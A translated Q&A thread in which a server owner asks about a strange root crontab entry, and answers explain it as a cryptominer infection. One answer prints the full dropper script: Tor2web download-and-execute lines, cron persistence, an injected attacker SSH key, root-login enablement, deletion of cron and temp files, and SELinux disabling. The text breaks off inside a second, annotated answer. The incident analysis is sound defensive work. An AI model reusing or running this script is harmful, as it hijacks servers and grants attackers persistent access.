Что делает эта запись в crontab моего сервера? - PullRequest
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Что делает эта запись в crontab моего сервера?

0 голосов
/ 12 июня 2019

Я получал кучу писем с заданий cron, которые выглядели очень странно, поэтому я пошел расследовать.

Я нашел странную запись в crontab, которую вставил ниже.

Сначала я попытался запустить: 

crontab -u root -l

Это показало задание с большим кроном, поэтому я немедленно удалил запись. 

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  (${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /root/.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /root/.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /root/.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /root/.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /root/.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /root/.cache/.ntp) && chmod +x /root/.cache/.ntp && /bin/sh /root/.cache/.ntp

Я верю, что электронные письма cron теперь прекратятся, но я хотел бы знать, что делала эта запись. И как часто он это делал.

Ответы [ 2 ]

2 голосов
/ 12 июня 2019

Короче говоря, ваш сервер был взломан, и хакеры запускают на нем крипто-майнер. Это плохо.

Это часть масштабной волны атаки вредоносного ПО, использующей преимущества нового Exim 0day (возможно, вредоносное ПО уже использовалось ранее с Zimbra 0day ).

вот содержимое файла "an7kmd2wp4xo7hpr.onion.sh/src/ldm": 

#!/bin/sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
RHOST="https://an7kmd2wp4xo7hpr"
TOR1=".tor2web.su/"
TOR2=".tor2web.io/"
TOR3=".onion.sh/"
RPATH1='src/ldm'
#LPATH="${HOME-/tmp}/.cache/"
TIMEOUT="75"
CTIMEOUT="22"
COPTS=" -fsSLk --retry 2 --connect-timeout ${CTIMEOUT} --max-time ${TIMEOUT} "
WOPTS=" --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=${CTIMEOUT} --timeout=${TIMEOUT} "
tbin=$(command -v passwd); bpath=$(dirname "${tbin}")
curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi
wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q ".wgetrc'-style command" && wget="$f" && break; done; fi; fi
#CHKCURL='curl="curl "; wget="wget "; if [ "$(whoami)" = "root" ]; then if [ $(command -v curl|wc -l) -eq 0 ]; then curl=$(ls /usr/bin|grep -i url|head -n 1); fi; if [ -z ${curl} ]; then curl="echo "; fi; if [ $(command -v wget|wc -l) -eq 0 ]; then wget=$(ls /usr/bin|grep -i wget|head -n 1); fi; if [ -z ${wget} ]; then wget="echo "; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; fi; '
CHKCURL='tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; '
LBIN8="kthrotlds"
null=' >/dev/null 2>&1'
sudoer=1
sudo=''
if [ "$(whoami)" != "root" ]; then
    sudo="sudo "
    timeout 1 sudo echo 'kthreadd' 2>/dev/null && sudoer=1||{ sudo=''; sudoer=0; }
fi
if [ $(command -v nohup|wc -l) -ne 0 ] && [ "$1" != "-n" ]; then
    ${sudo} chmod +x "$0"
    nohup ${sudo} "$0" -n >/dev/null 2>&1 &
    echo 'Sent!'
    exit $?
fi
rand=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c $(shuf -i 4-16 -n 1) ; echo ''); if [ -z ${rand} ]; then rand='.tmp'; fi
echo "${rand}" > "$(pwd)/.${rand}" 2>/dev/null && LPATH="$(pwd)/.cache/"; rm -f "$(pwd)/.${rand}" >/dev/null 2>&1
echo "${rand}" > "/tmp/.${rand}" 2>/dev/null && LPATH="/tmp/.cache/"; rm -f "/tmp/.${rand}" >/dev/null 2>&1
echo "${rand}" > "/usr/local/bin/.${rand}" 2>/dev/null && LPATH="/usr/local/bin/.cache/"; rm -f "/usr/local/bin/.${rand}" >/dev/null 2>&1
echo "${rand}" > "${HOME}/.${rand}" 2>/dev/null && LPATH="${HOME}/.cache/"; rm -f "${HOME}/.${rand}" >/dev/null 2>&1
mkdir -p ${LPATH} >/dev/null 2>&1
${sudo} chattr -i ${LPATH} >/dev/null 2>&1; chmod 755 ${LPATH} >/dev/null 2>&1; ${sudo} chattr +a ${LPATH} >/dev/null 2>&1
C1="*/9 * * * * ${CHKCURL} ("'${curl}'" ${COPTS} ${RHOST}${TOR1}${RPATH1} -o ${LPATH}.ntp||"'${curl}'" ${COPTS} ${RHOST}${TOR2}${RPATH1} -o ${LPATH}.ntp||"'${curl}'" ${COPTS} ${RHOST}${TOR3}${RPATH1} -o ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR1}${RPATH1} -O ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR2}${RPATH1} -O ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR3}${RPATH1} -O ${LPATH}.ntp) && chmod +x ${LPATH}.ntp && $(command -v sh) ${LPATH}.ntp"
C2="*/11 * * * * root ${CHKCURL} ("'${curl}'" ${COPTS} ${RHOST}${TOR1}${RPATH1} -o ${LPATH}.ntp||"'${curl}'" ${COPTS} ${RHOST}${TOR2}${RPATH1} -o ${LPATH}.ntp||"'${curl}'" ${COPTS} ${RHOST}${TOR3}${RPATH1} -o ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR1}${RPATH1} -O ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR2}${RPATH1} -O ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR3}${RPATH1} -O ${LPATH}.ntp) && chmod +x ${LPATH}.ntp && $(command -v sh) ${LPATH}.ntp"
skey="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1Sdr0tIIL8yPhKTLzVMnRKj1zzGqtR4tKpM2bfBEx+AHyvBL8jDZDJ6fuVwEB+aZ8bl/pA5qhFWRRWhONLnLN9RWFx/880msXITwOXjCT3Qa6VpAFPPMazJpbppIg+LTkbOEjdDHvdZ8RhEt7tTXc2DoTDcs73EeepZbJmDFP8TCY7hwgLi0XcG8YHkDFoKFUhvSHPkzAsQd9hyOWaI1taLX2VZHAk8rOaYqaRG3URWH3hZvk8Hcgggm2q/IQQa9VLlX4cSM4SifM/ZNbLYAJhH1x3ZgscliZVmjB55wZWRL5oOZztOKJT2oczUuhDHM1qoUJjnxopqtZ5DrA76WH user@localhost"
if [ "$(whoami)" != "root" ]; then sshdir="${HOME}/.ssh"; else sshdir='/root/.ssh'; fi
${sudo} rm -f /tmp/* >/dev/null 2>&1
${sudo} rm -f /tmp/.* >/dev/null 2>&1
${sudo} ps ax|grep -v grep|grep -v defunct|grep -v "${LBIN8}"|grep -v ".ntp"|grep -i "nicehash\|linuxs\|linuxl\|Linux\|crawler.weibo\|44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init"|uniq| while read pid _; do if [ ${pid} -gt 301 ] && [ "$pid" != "$$" ]; then ${sudo} kill -9 "${pid}" >/dev/null 2>&1; ${sudo} kill -TERM -"${pid}" >/dev/null 2>&1; fi; done
${sudo} ps ax|grep -v grep|grep -v defunct|grep -v "bash"|grep -v "ssh"|grep -v ".ntp"|grep -i " sh\|kworkerds\|56416\|xmr\|xig\|ddgs\|minerd\|hashvault\|geqn\|.kthreadd\|httpdz\|kworker\|config.json\|gwjyhs.com\|pastebin.com\|sobot.com\|kerbero"|uniq| while read pid _; do if [ ${pid} -gt 301 ] && [ "$pid" != "$$" ]; then ${sudo} kill -9 "${pid}" >/dev/null 2>&1; ${sudo} kill -TERM -"${pid}" >/dev/null 2>&1; fi; done
hload=$(${sudo} ps aux|grep -v grep|grep -v defunct|grep -v "${LBIN8}"|grep -vi 'java '|grep -vi 'jenkins'|awk '{if($3>=54.0) print $11}'|head -n 1)
[ "${hload}" != "" ] && { ${sudo} ps ax|grep -v grep|grep -v defunct|grep -v "${LBIN8}"|grep "xmr\|${hload}"|while read pid _; do if [ ${pid} -gt 301 ] && [ "$pid" != "$$" ]; then ${sudo} kill -9 "${pid}" >/dev/null 2>&1; fi; done; }
#${sudo} pkill sleep >/dev/null 2>&1
#loop=$(ps -eo ppid,comm|grep -v grep|grep -i ' sleep'|awk '{print $1}'|uniq)
#if [ "${loop}" != "" ]; then for p in ${loop}; do if [ $p -gt 301 ] && [ $p -ne $$ ] && [ $p -ne $PPID ]; then $sudo kill -9 $p; $sudo pkill -P $p; fi; done; fi
hload2=$(${sudo} ps aux|grep -v grep|grep -v defunct|grep -v python|grep -v "${LBIN8}"|awk '{if($3>=0.0) print $2}'|uniq)
if [ "${hload2}" != "" ]; then
    for p in ${hload2}; do
        xm=''
        if [ $p -gt 301 ]; then
            if [ -f /proc/${p}/exe ]; then
                xmf="$(readlink /proc/${p}/cwd 2>/dev/null)/$(cat /proc/${p}/comm 2>/dev/null)"
                xm=$(grep -i "xmr\|cryptonight\|hashrate" /proc/${p}/exe 2>/dev/null)
            elif [ -f /proc/${p}/comm ]; then
                xmf="$(readlink /proc/${p}/cwd 2>/dev/null)/$(cat /proc/${p}/comm 2>/dev/null)"
                xm=$(grep -i "xmr\|cryptonight\|hashrate" ${xmf} 2>/dev/null)
            fi
            if [ -n "${xm}" ]; then ${sudo} kill -9 ${p} >/dev/null 2>&1; ${sudo} chattr -i -a "${xmf}" >/dev/null 2>&1; ${sudo} rm -rf "${xmf}" >/dev/null 2>&1; fi
        fi
    done
fi
others=$(${sudo} ps aux|grep -v grep|grep -v defunct|grep -v "${LBIN8}"|awk '{if($3>=0.0) print $11}')
if [ "${others}" != "" ]; then
    for o in ${others}; do
        okill=0
        if [ -f "${o}" ]; then
            if grep -qi 'ddgs' "${o}" 2>/dev/null && grep -qi 'slave' "${o}" 2>/dev/null; then okill=1; fi
            if grep -qi 'kerberods' "${o}" 2>/dev/null || grep -qi 'khugepageds' "${o}" 2>/dev/null; then okill=1; fi
            if [ ${okill} -eq 1 ]; then
                ${sudo} ps ax|grep -v grep|grep -v defunct|grep "${o}"|while read pid _; do ${sudo} kill -9 "$pid" >/dev/null 2>&1; done
                ${sudo} chattr -i -a "${o}" >/dev/null 2>&1; rm -rf "${o}" >/dev/null 2>&1
            fi
        fi
    done
fi
net=$(${curl} -fsSLk --max-time 6 ipinfo.io/ip)
if echo "${net}"|grep -q 'Could not resolve proxy'; then
    unset http_proxy; unset HTTP_PROXY; unset https_proxy; unset HTTPS_PROXY
    http_proxy=""; HTTP_PROXY=""; https_proxy=""; HTTPS_PROXY=""
fi
if [ ${sudoer} -eq 1 ]; then
    if [ -f /etc/ld.so.preload ]; then
        if [ $(which chattr|wc -l) -ne 0 ]; then ${sudo} chattr -i /etc/ld.so.preload >/dev/null 2>&1; fi
        ${sudo} ln -sf /etc/ld.so.preload /tmp/.ld.so >/dev/null 2>&1
        >/tmp/.ld.so >/dev/null 2>&1
        ${sudo} rm -rf /etc/ld.so.preload* >/dev/null 2>&1
    fi
    #${sudo} find / -name ld.so.preload* -exec ${sudo} rm -rf {} \;
    if [ -d /etc/systemd/system/ ]; then ${sudo} rm -rf /etc/systemd/system/cloud* >/dev/null 2>&1; fi
    [ $(${sudo} cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ] && { ${sudo} chattr -i -a /etc/hosts >/dev/null 2>&1; ${sudo} chmod 644 /etc/hosts >/dev/null 2>&1; ${sudo} sed -i '/.onion.$/d' /etc/hosts >/dev/null 2>&1; }
    [ $(${sudo} cat /etc/hosts|grep -i "busybox"|wc -l) -ne 0 ] && { ${sudo} chattr -i -a /etc/hosts >/dev/null 2>&1; ${sudo} chmod 644 /etc/hosts >/dev/null 2>&1; ${sudo} sed -i '/busybox$/d' /etc/hosts >/dev/null 2>&1; }
    [ $(${sudo} cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ] && { ${sudo} echo '127.0.0.1 localhost' > /etc/hosts >/dev/null 2>&1; }
    if [ -f /usr/bin/yum ]; then
        if [ -f /usr/bin/systemctl ]; then
            crstart="systemctl restart crond.service >/dev/null 2>&1"
            crstop="systemctl stop crond.service >/dev/null 2>&1"
        else
            crstart="/etc/init.d/crond restart >/dev/null 2>&1"
            crstop="/etc/init.d/crond stop >/dev/null 2>&1"
        fi
    elif [ -f /usr/bin/apt-get ]; then
        crstart="service cron restart >/dev/null 2>&1"
        crstop="service cron stop >/dev/null 2>&1"
    elif [ -f /usr/bin/pacman ]; then
        crstart="/etc/rc.d/cronie restart >/dev/null 2>&1"
        crstop="/etc/rc.d/cronie stop >/dev/null 2>&1"
    elif [ -f /sbin/apk ]; then
        crstart="/etc/init.d/crond restart >/dev/null 2>&1"
        crstop="/etc/init.d/crond stop >/dev/null 2>&1"
    fi
    if [ ! -f "${LPATH}.sysud" ] || [ $(bash --version 2>/dev/null|wc -l) -eq 0 ] || [ $(wget --version 2>/dev/null|wc -l) -eq 0 ]; then
        if [ -f /usr/bin/yum ]; then
            yum install -y -q -e 0 openssh-server iptables bash curl wget zip unzip python2 net-tools e2fsprogs vixie-cron cronie >/dev/null 2>&1
            yum reinstall -y -q -e 0 curl wget unzip bash net-tools vixie-cron cronie >/dev/null 2>&1
            chkconfig sshd on >/dev/null 2>&1
            chkconfig crond on >/dev/null 2>&1;
            if [ -f /usr/bin/systemctl ]; then
                systemctl start sshd.service >/dev/null 2>&1
            else
                /etc/init.d/sshd start >/dev/null 2>&1
            fi
        elif [ -f /usr/bin/apt-get ]; then
            rs=$(yes | ${sudo} apt-get update >/dev/null 2>&1)
            if echo "${rs}"|grep -q 'dpkg was interrupted'; then y | ${sudo} dpkg --configure -a; fi
            DEBIAN_FRONTEND=noninteractive ${sudo} apt-get --yes --force-yes install openssh-server iptables bash cron curl wget zip unzip python python-minimal vim e2fsprogs net-tools >/dev/null 2>&1
            DEBIAN_FRONTEND=noninteractive ${sudo} apt-get --yes --force-yes install --reinstall curl wget unzip bash net-tools cron
            ${sudo} systemctl enable ssh
            ${sudo} systemctl enable cron
            ${sudo} /etc/init.d/ssh restart >/dev/null 2>&1
        elif [ -f /usr/bin/pacman ]; then
            pacman -Syy >/dev/null 2>&1
            pacman -S --noconfirm base-devel openssh iptables bash cronie curl wget zip unzip python2 vim e2fsprogs net-tools >/dev/null 2>&1
            systemctl enable --now cronie.service >/dev/null 2>&1
            systemctl enable --now sshd.service >/dev/null 2>&1
            /etc/rc.d/sshd restart >/dev/null 2>&1
        elif [ -f /sbin/apk ]; then
            #apk --no-cache -f upgrade >/dev/null 2>&1
            apk --no-cache -f add curl wget unzip bash busybox openssh iptables python vim e2fsprogs e2fsprogs-extra net-tools openrc >/dev/null 2>&1
            apk del openssl-dev net-tools >/dev/null 2>&1; apk del libuv-dev >/dev/null 2>&1;
            apk add --no-cache openssl-dev libuv-dev net-tools --repository http://dl-cdn.alpinelinux.org/alpine/v3.9/main >/dev/null 2>&1
            rc-update add sshd >/dev/null 2>&1
            /etc/init.d/sshd start >/dev/null 2>&1
            if [ -f /etc/init.d/crond ]; then rc-update add crond >/dev/null 2>&1; /etc/init.d/crond restart >/dev/null 2>&1; else /usr/sbin/crond -c /etc/crontabs >/dev/null 2>&1; fi
        fi
    fi
    ${sudo} chattr -i -a /var/spool/cron >/dev/null 2>&1; ${sudo} chattr -i -a -R /var/spool/cron/ >/dev/null 2>&1; ${sudo} chattr -i -a /etc/cron.d >/dev/null 2>&1; ${sudo} chattr -i -a -R /etc/cron.d/ >/dev/null 2>&1; ${sudo} chattr -i -a /var/spool/cron/crontabs >/dev/null 2>&1; ${sudo} chattr -i -a -R /var/spool/cron/crontabs/ >/dev/null 2>&1
    ${sudo} rm -rf /var/spool/cron/crontabs/* >/dev/null 2>&1; ${sudo} rm -rf /var/spool/cron/crontabs/.* >/dev/null 2>&1; ${sudo} rm -f /var/spool/cron/* >/dev/null 2>&1; ${sudo} rm -f /var/spool/cron/.* >/dev/null 2>&1; ${sudo} rm -rf /etc/cron.d/* >/dev/null 2>&1; ${sudo} rm -rf /etc/cron.d/.* >/dev/null 2>&1;
    ${sudo} chattr -i -a /etc/cron.hourly >/dev/null 2>&1; ${sudo} chattr -i -a -R /etc/cron.hourly/ >/dev/null 2>&1; ${sudo} chattr -i -a /etc/cron.daily >/dev/null 2>&1; ${sudo} chattr -i -a -R /etc/cron.daily/ >/dev/null 2>&1
    ${sudo} rm -rf /etc/cron.hourly/* >/dev/null 2>&1; ${sudo} rm -rf /etc/cron.hourly/.* >/dev/null 2>&1; ${sudo} rm -rf /etc/cron.daily/* >/dev/null 2>&1; ${sudo} rm -rf /etc/cron.daily/.* >/dev/null 2>&1; 
    ${sudo} chattr -a -i /tmp >/dev/null 2>&1; ${sudo} rm -rf /tmp/* >/dev/null 2>&1; ${sudo} rm -rf /tmp/.* >/dev/null 2>&1
    ${sudo} chattr -a -i /etc/crontab >/dev/null 2>&1; ${sudo} chattr -i /var/spool/cron/root >/dev/null 2>&1; ${sudo} chattr -i /var/spool/cron/crontabs/root >/dev/null 2>&1
    if [ -f /sbin/apk ]; then
        ${sudo} mkdir -p /etc/crontabs >/dev/null 2>&1; ${sudo} chattr -i -a /etc/crontabs >/dev/null 2>&1; ${sudo} chattr -i -a -R /etc/crontabs/* >/dev/null 2>&1
        ${sudo} rm -rf /etc/crontabs/* >/dev/null 2>&1; ${sudo} echo "${C1}" > /etc/crontabs/root >/dev/null 2>&1 && ${sudo} echo "${C2}" >> /etc/crontabs/root >/dev/null 2>&1 && ${sudo} echo '' >> /etc/crontabs/root >/dev/null 2>&1 && ${sudo} crontab /etc/crontabs/root
    elif [ -f /usr/bin/apt-get ]; then
        ${sudo} mkdir -p /var/spool/cron/crontabs >/dev/null 2>&1; ${sudo} chattr -i -a /var/spool/cron/crontabs/root >/dev/null 2>&1
        rs=$(${sudo} echo "${C1}" > /var/spool/cron/crontabs/root 2>&1)
        if [ -z ${rs} ]; then ${sudo} echo '' >> /var/spool/cron/crontabs/root && ${sudo} crontab /var/spool/cron/crontabs/root; fi
    else
        ${sudo} mkdir -p /var/spool/cron >/dev/null 2>&1; ${sudo} chattr -i -a /var/spool/cron/root >/dev/null 2>&1
        rs=$(${sudo} echo "${C1}" > /var/spool/cron/root 2>&1)
        if [ -z ${rs} ]; then ${sudo} echo '' >> /var/spool/cron/root && ${sudo} crontab /var/spool/cron/root; fi
    fi
    ${sudo} chattr -i -a /etc/crontab >/dev/null 2>&1; rs=$(${sudo} echo "${C2}" > /etc/crontab 2>&1)
    if [ -z "${rs}" ]; then ${sudo} echo '' >> /etc/crontab && ${sudo} crontab /etc/crontab; fi
    ${sudo} mkdir -p /etc/cron.d >/dev/null 2>&1; ${sudo} chattr -i -a /etc/cron.d/root >/dev/null 2>&1
    rs=$(${sudo} echo "${C2}" > /etc/cron.d/root 2>&1 && ${sudo} echo '' >> /etc/cron.d/root 2>&1)
    if [ $(crontab -l 2>/dev/null|grep -i "${RHOST}"|wc -l) -lt 1 ]; then
        (${curl} ${COPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_RM -o ${LPATH}.rm||${wget} ${WOPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_RM -O ${LPATH}.rm) && chmod +x ${LPATH}.rm
        (${curl} ${COPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_CROND -o ${LPATH}.cd||${wget} ${WOPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_CROND -O ${LPATH}.cd) && chmod +x ${LPATH}.cd
        (${curl} ${COPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_CRONTAB -o ${LPATH}.ct||${wget} ${WOPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_CRONTAB -O ${LPATH}.ct) && chmod +x ${LPATH}.ct
        if [ -f ${LPATH}.rm ] && [ -f ${LPATH}.ct ]; then
            ${sudo} "${crstop}"
            cd=$(which crond)
            ct=$(which crontab)
            #if [ -n "${cd}" ]; then ${sudo} ${LPATH}.rm ${cd}; ${sudo} cp ${LPATH}.cd ${cd}; fi
            if [ -n "${ct}" ]; then ${sudo} ${LPATH}.rm ${ct}; ${sudo} cp ${LPATH}.ct ${ct}; fi
            ${sudo} "${crstart}"
        fi
    fi
    ${sudo} mkdir -p "${sshdir}" >/dev/null 2>&1
    if [ ! -f ${sshdir}/authorized_keys ]; then ${sudo} touch ${sshdir}/authorized_keys >/dev/null 2>&1; fi
    ${sudo} chattr -i -a ${LPATH} >/dev/null 2>&1; ${sudo} chattr -i -a "${sshdir}" >/dev/null 2>&1; ${sudo} chattr -i -a -R "${sshdir}/" >/dev/null 2>&1; ${sudo} chattr -i -a ${sshdir}/authorized_keys >/dev/null 2>&1
    if [ -n "$(grep -F redis ${sshdir}/authorized_keys)" ] || [ $(wc -l < ${sshdir}/authorized_keys) -gt 98 ]; then ${sudo} echo "${skey}" > ${sshdir}/authorized_keys; fi
    if test "$(${sudo} grep "^${skey}" ${sshdir}/authorized_keys)" != "${skey}"; then  ${sudo} echo "${skey}" >> ${sshdir}/authorized_keys; fi
    ${sudo} chmod 0700 ${sshdir} >/dev/null 2>&1; ${sudo} chmod 600 ${sshdir}/authorized_keys >/dev/null 2>&1; ${sudo} chattr +i ${sshdir}/authorized_keys >/dev/null 2>&1; ${sudo} rm -rf ${sshdir}/authorized_keys* >/dev/null 2>&1
    [ "$(${sudo} cat /etc/ssh/sshd_config | grep '^PermitRootLogin')" != "PermitRootLogin yes" ] && { ${sudo} echo PermitRootLogin yes >> /etc/ssh/sshd_config; }
    [ "$(${sudo} cat /etc/ssh/sshd_config | grep '^RSAAuthentication')" != "RSAAuthentication yes" ] && { ${sudo} echo RSAAuthentication yes >> /etc/ssh/sshd_config; }
    [ "$(${sudo} cat /etc/ssh/sshd_config | grep '^PubkeyAuthentication')" != "PubkeyAuthentication yes" ] && { ${sudo} echo PubkeyAuthentication yes >> /etc/ssh/sshd_config; }
    [ "$(${sudo} cat /etc/ssh/sshd_config | grep '^UsePAM')" != "UsePAM yes" ] && { ${sudo} echo UsePAM yes >> /etc/ssh/sshd_config; }
    [ "$(${sudo} cat /etc/ssh/sshd_config | grep '^PasswordAuthentication yes')" != "PasswordAuthentication yes" ] && { ${sudo} echo PasswordAuthentication yes >> /etc/ssh/sshd_config; }
    touch "${LPATH}.sysud"
else
    if [ $(which crontab|wc -l) -ne 0 ]; then
        crontab -r >/dev/null 2>&1
        (crontab -l >/dev/null 2>&1; echo "${C1}") | crontab -
    fi
fi
rm -rf ./main* >/dev/null 2>&1
rm -rf ./*.ico* >/dev/null 2>&1
rm -rf ./r64* >/dev/null 2>&1
rm -rf ./r32* >/dev/null 2>&1
[ $(echo "$0"|grep -i ".cache"|wc -l) -eq 0 ] && [ "$1" != "" ] && { rm -f "$0" >/dev/null 2>&1; }
echo -e '\n'
(${curl} ${COPTS} ${RHOST}${TOR1}src/main||${curl} ${COPTS} ${RHOST}${TOR2}src/main||${curl} ${COPTS} ${RHOST}${TOR3}src/main||${wget} ${WOPTS} ${RHOST}${TOR1}src/main||${wget} ${WOPTS} ${RHOST}${TOR2}src/main||${wget} ${WOPTS} ${RHOST}${TOR3}src/main)|base64 -d |${sudo} $(command -v bash)
if [ ${sudoer} -eq 1 ]; then
    if echo "$(${sudo} cat /etc/selinux/config 2>/dev/null|grep "SELINUX="|tail -n 1)"|grep -q 'enforcing'; then
        ${sudo} sed -i "s:SELINUX=enforcing:SELINUX=disabled:" /etc/selinux/config || { echo "SELinux could not be disabled. Exiting."; exit; }
        ${sudo} shutdown -r now >/dev/null 2>&1
        ${sudo} reboot -f >/dev/null 2>&1
    fi
    if echo "$(sestatus -v  2>/dev/null| head -n 1)"|grep -q 'enabled'; then ${sudo} shutdown -r now >/dev/null 2>&1; ${sudo} reboot -f >/dev/null 2>&1; fi
fi

Содержимое файла "an7kmd2wp4xo7hpr.onion.sh/src/main" (расшифровано base64): https://pastebin.com/qMDecdX1

Содержимое файла "an7kmd2wp4xo7hpr.onion.sh/src/sc" (расшифровано base64): https://pastebin.com/uA1A25wB

И сканирование VT двух двоичных файлов:

"a64x75" => https://www.virustotal.com/gui/file/f1f7ec059f1fb22472d7308648ff9aa02878cf48da7dfc17b89d805df7da7687/detection

"r64x75" => https://www.virustotal.com/gui/file/c3f26f38cb75cf779eed36a4e7ac32cacd4ae89bdf7dae2a4c4db1afe652d3f0/detection

0 голосов
/ 12 июня 2019

Я переформатировал команду и добавил комментарии.Команда запускалась каждый час, через 11 минут после полного часа. 

# Get the path to the passwd binary
tbin=$(command -v passwd)

# Get the directory of the passwd binary, for example /usr/bin
bpath=$(dirname "${tbin}")

curl="curl"

# Check if just "curl" is in the PATH
if [ $(curl --version 2> /dev/null | grep "curl " | wc -l) -eq 0 ]; then

    # If it isn't, reset to "echo" and try to find the executable directly
    curl="echo"

    # If we found the path of the passwd binary above
    if [ "${bpath}" != "" ]; then

        # For all files that directory (for example /usr/bin)
        for f in ${bpath}*; do

            # Extract strings from file, check if they contain
            # "CURLOPT_VERBOSE"; if so, set "curl" to the filename and stop -
            # on my system, this sets "curl" to "usr/bin/curl"
            strings $f 2> /dev/null | grep -q "CURLOPT_VERBOSE" \
                && curl="$f" && break
        done
    fi
fi

wget="wget"

# The same for wget: check if it just "wget" works
if [ $(wget --version 2> /dev/null | grep "wgetrc " | wc -l) -eq 0 ]; then

    # It didn't; reset to "echo" (disable wget), try to find executable
    wget="echo"
    if [ "${bpath}" != "" ]; then
        for f in ${bpath}*; do
            # Find a binary containing "to <bug-wget@gnu.org>" and set "wget"
            # to its name
            strings $f 2> /dev/null | grep -q "to <bug-wget@gnu.org>" \
                && wget="$f" && break
        done
    fi
fi

# At this point, "curl" and "wget" are either set to the executables for
# curl/wget or "echo"; it's done in this cumbersome way to find them
# independent of any PATH; if just "curl"/"wget" doesn't work, they go and try
# to find the binary.

# Check if the hosts file contains a line with "onion"
if [ $(cat /etc/hosts | grep -i ".onion." | wc -l) -ne 0 ]; then
    # If it does, replace the contents of the whole hosts file with "127.0.0.1
    # localhost" (which basically does nothing)
    echo "127.0.0.1 localhost" > /etc/hosts > /dev/null 2>&1
fi

# Depending on what was found above, curl and wget are now set to "echo" or the
# executable. This first tries to fetch a file with curl from three different
# URLs, then with wget from the same URLs, and stops after successful download.
#
# The downloaded file is stored in /root/.cache/.ntp, made executable and
# immediately run as a shell script.
(
    ${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 \
        https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /root/.cache/.ntp \
        || ${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 \
            https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /root/.cache/.ntp \
        || ${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 \
            https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /root/.cache/.ntp \
        || ${wget} --quiet --tries=2 --wait=5 --no-check-certificate \
            --connect-timeout=22 --timeout=75 \
            https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /root/.cache/.ntp \
        || ${wget} --quiet --tries=2 --wait=5 --no-check-certificate \
